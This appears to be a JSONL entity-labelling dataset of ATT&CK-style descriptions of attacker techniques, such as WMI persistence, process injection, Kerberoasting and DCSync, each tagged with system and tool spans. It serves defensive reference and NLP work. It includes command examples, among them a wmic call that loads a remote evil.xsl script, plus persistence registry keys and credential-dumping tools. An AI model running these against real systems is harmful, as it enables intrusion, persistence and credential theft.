+{"text": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension).  Examples of events that may be subscribed to are the wall clock time or the computer's uptime.  Several threat groups have reportedly used this technique to maintain persistence.", "spans": {"SYSTEM: WMI": [[36, 39], [201, 204], [390, 393]], "SYSTEM: Windows": [[0, 7], [407, 414]]}, "info": {"source": "apt_reports", "name": "Windows Management Instrumentation Event Subscription"}}
+{"text": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> . These LaunchDaemons have property list files which point to the executables that will be launched .\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories . The daemon name may be disguised by using a name from a related operating system or benign software  . Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.", "spans": {"SYSTEM: macOS": [[42, 47]], "ORGANIZATION: Apple": [[4, 9]]}, "info": {"source": "apt_reports", "name": "Launch Daemon"}}
+{"text": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction).  \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {}, "info": {"source": "apt_reports", "name": "Ptrace System Calls"}}
+{"text": "Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down. Adversaries may also extend system lock screen timeout settings. Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.", "spans": {"SYSTEM: Windows": [[524, 531]]}, "info": {"source": "apt_reports", "name": "Power Settings"}}
+{"text": "Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).", "spans": {}, "info": {"source": "apt_reports", "name": "Dynamic API Resolution"}}
+{"text": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.", "spans": {"TOOL: RDP": [[93, 96], [409, 412], [498, 501], [695, 698], [725, 728]], "TOOL: expand": [[509, 515]], "TOOL: Remote Desktop Protocol": [[68, 91], [384, 407]], "ORGANIZATION: Microsoft": [[338, 347]]}, "info": {"source": "apt_reports", "name": "Remote Desktop Protocol"}}
+{"text": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system. This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code> Registry key.\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "spans": {"SYSTEM: Windows": [[20, 27], [115, 122]]}, "info": {"source": "apt_reports", "name": "Logon Script (Windows)"}}
+{"text": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items. Information about an application's list-view settings are stored within the process' memory in a <code>SysListView32</code> control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the <code>SysListView32</code> child of the victim process window (via Windows API calls such as <code>FindWindow</code> and/or <code>EnumWindows</code>) or other Process Injection methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored <code>WriteProcessMemory</code> function. For example, an adversary can use the <code>PostMessage</code> and/or <code>SendMessage</code> API functions to send <code>LVM_SETITEMPOSITION</code> and <code>LVM_GETITEMPOSITION</code> messages, effectively copying a payload 2 bytes at a time to the allocated memory. \n\nFinally, the payload is triggered by sending the <code>LVM_SORTITEMS</code> message to the <code>SysListView32</code> child of the process window, with the payload within the newly allocated buffer passed and executed as the <code>ListView_SortItems</code> callback.", "spans": {"SYSTEM: Windows": [[1089, 1096]]}, "info": {"source": "apt_reports", "name": "ListPlanting"}}
+{"text": "Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion).\n\nHiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.", "spans": {}, "info": {"source": "apt_reports", "name": "Hide Infrastructure"}}
+{"text": "Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:  \n\n* modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to  forge access tokens that will subsequently be accepted by victim domain resources\n* changing configuration settings within the AD environment to implement a Rogue Domain Controller.\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant \n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", "spans": {"SYSTEM: Group Policy": [[490, 502]], "SYSTEM: Active Directory": [[531, 547]], "ORGANIZATION: Microsoft": [[521, 530]]}, "info": {"source": "apt_reports", "name": "Domain or Tenant Policy Modification"}}
+{"text": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. \n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe)  can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.  Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.  Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.\n\nCommand-line examples:\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>", "spans": {"TOOL: wmic": [[1728, 1732], [1793, 1797]], "SYSTEM: Windows": [[1333, 1340], [1557, 1564], [1606, 1613]], "ORGANIZATION: Microsoft": [[529, 538]]}, "info": {"source": "apt_reports", "name": "XSL Script Processing"}}
+{"text": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).", "spans": {}, "info": {"source": "apt_reports", "name": "Scan Databases"}}
+{"text": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name   . Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app . On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", "spans": {"TOOL: SSH": [[1325, 1328]], "SYSTEM: macOS": [[561, 566], [948, 953]], "SYSTEM: Windows": [[516, 523], [1102, 1109]], "SYSTEM: Linux": [[551, 556], [573, 578]], "MALWARE: attrib": [[1164, 1170]]}, "info": {"source": "apt_reports", "name": "Hidden Files and Directories"}}
+{"text": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.", "spans": {"TOOL: SSH": [[759, 762]]}, "info": {"source": "apt_reports", "name": "Create Snapshot"}}
+{"text": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).", "spans": {}, "info": {"source": "apt_reports", "name": "Determine Physical Locations"}}
+{"text": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "spans": {"SYSTEM: Microsoft Office": [[26, 42]], "ORGANIZATION: Microsoft": [[26, 35], [314, 323], [602, 611], [680, 689]]}, "info": {"source": "apt_reports", "name": "Office Test"}}
+{"text": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.", "spans": {}, "info": {"source": "apt_reports", "name": "Develop Capabilities"}}
+{"text": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.   \n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands  , directly or through embedded files , and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.  DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "spans": {"SYSTEM: Windows 10": [[584, 594]], "SYSTEM: Microsoft Office": [[607, 623], [707, 723]], "SYSTEM: Windows": [[0, 7], [584, 591]], "ORGANIZATION: Microsoft": [[607, 616], [707, 716]], "VULNERABILITY: phishing": [[842, 850]]}, "info": {"source": "apt_reports", "name": "Dynamic Data Exchange"}}
+{"text": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy", "spans": {"FILEPATH: %SystemRoot%\\NTDS\\Ntds.dit</code>": [[290, 323]], "TOOL: ntdsutil": [[703, 711]], "SYSTEM: Windows": [[689, 696]], "SYSTEM: Active Directory": [[58, 74], [604, 620]]}, "info": {"source": "apt_reports", "name": "NTDS"}}
+{"text": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages. The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.", "spans": {}, "info": {"source": "apt_reports", "name": "SNMP (MIB Dump)"}}
+{"text": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.", "spans": {}, "info": {"source": "apt_reports", "name": "Steganography"}}
+{"text": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.", "spans": {"VULNERABILITY: code execution": [[182, 196]]}, "info": {"source": "apt_reports", "name": "Malicious Link"}}
+{"text": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS). \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated. Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "spans": {"SYSTEM: GCP": [[1649, 1652]], "SYSTEM: AWS": [[1641, 1644], [2296, 2299], [2352, 2355]]}, "info": {"source": "apt_reports", "name": "Application Access Token"}}
+{"text": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., Hijack Execution Flow), an adversary can use LSA operations to continuously execute malicious payloads.", "spans": {"SYSTEM: Windows": [[94, 101]]}, "info": {"source": "apt_reports", "name": "LSASS Driver"}}
+{"text": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services. The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and Net.\n\nPsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API. Tools such as PsExec and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.", "spans": {"TOOL: PsExec": [[352, 358], [503, 509]], "SYSTEM: Windows": [[26, 33], [105, 112], [424, 431], [812, 819]], "VULNERABILITY: privilege escalation": [[858, 878]]}, "info": {"source": "apt_reports", "name": "Service Execution"}}
+{"text": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.\n\nService or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.", "spans": {"SYSTEM: Windows": [[554, 561]], "SYSTEM: Active Directory": [[562, 578]], "SYSTEM: Azure": [[1870, 1875], [1913, 1918], [1962, 1967], [2077, 2082]]}, "info": {"source": "apt_reports", "name": "Cloud Accounts"}}
+{"text": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", "spans": {}, "info": {"source": "apt_reports", "name": "Environmental Keying"}}
+{"text": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", "spans": {}, "info": {"source": "apt_reports", "name": "Fallback Channels"}}
+{"text": "Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform Lateral Movement, or as a precursor to Direct Volume Access. \n\nOn ESXi systems, adversaries may use Hypervisor CLI commands such as `esxcli` to list storage connected to the host as well as `.vmdk` files.\n\nOn Windows systems, adversaries can use `wmic logicaldisk get` to find information about local network drives. They can also use `Get-PSDrive` in PowerShell to retrieve drives and may additionally use Windows API functions such as `GetDriveType`.\n\nLinux has commands such as `parted`, `lsblk`, `fdisk`, `lshw`, and `df` that can list information about disk partitions such as size, type, file system types, and free space. The command `diskutil` on MacOS can be used to list disks while `system_profiler SPStorageDataType` can additionally show information such as a volume’s mount path, file system, and the type of drive in the system. \n\nInfrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as `describe volume` in AWS, `gcloud compute disks list` in GCP, and `az disk list` in Azure.", "spans": {"TOOL: PowerShell": [[560, 570]], "TOOL: wmic": [[455, 459]], "SYSTEM: ESXi": [[274, 278]], "SYSTEM: Windows": [[417, 424], [615, 622]], "SYSTEM: GCP": [[1211, 1214]], "SYSTEM: AWS": [[1175, 1178]], "SYSTEM: Linux": [[662, 667]], "SYSTEM: Azure": [[1238, 1243]]}, "info": {"source": "apt_reports", "name": "Local Storage Discovery"}}
+{"text": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.  Within MFT entries are file attributes,  such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).    \n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "spans": {}, "info": {"source": "apt_reports", "name": "NTFS File Attributes"}}
+{"text": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force. \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. \n\nThis same behavior could be executed using service tickets captured from network traffic.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.", "spans": {"SYSTEM: Kerberos": [[30, 38], [306, 314], [477, 485], [539, 547], [716, 724]], "SYSTEM: Windows": [[263, 270]]}, "info": {"source": "apt_reports", "name": "Kerberoasting"}}
+{"text": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.  Within MFT entries are file attributes,  such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).    \n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.", "spans": {}, "info": {"source": "apt_reports", "name": "NTFS File Attributes"}}
+{"text": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)    to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket or change an account's password as noted in Account Manipulation.\n\nDCSync functionality has been included in the \"lsadump\" module in Mimikatz. Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.", "spans": {"TOOL: Mimikatz": [[788, 796]], "SYSTEM: Windows": [[91, 98]], "SYSTEM: Active Directory": [[434, 450]]}, "info": {"source": "apt_reports", "name": "DCSync"}}
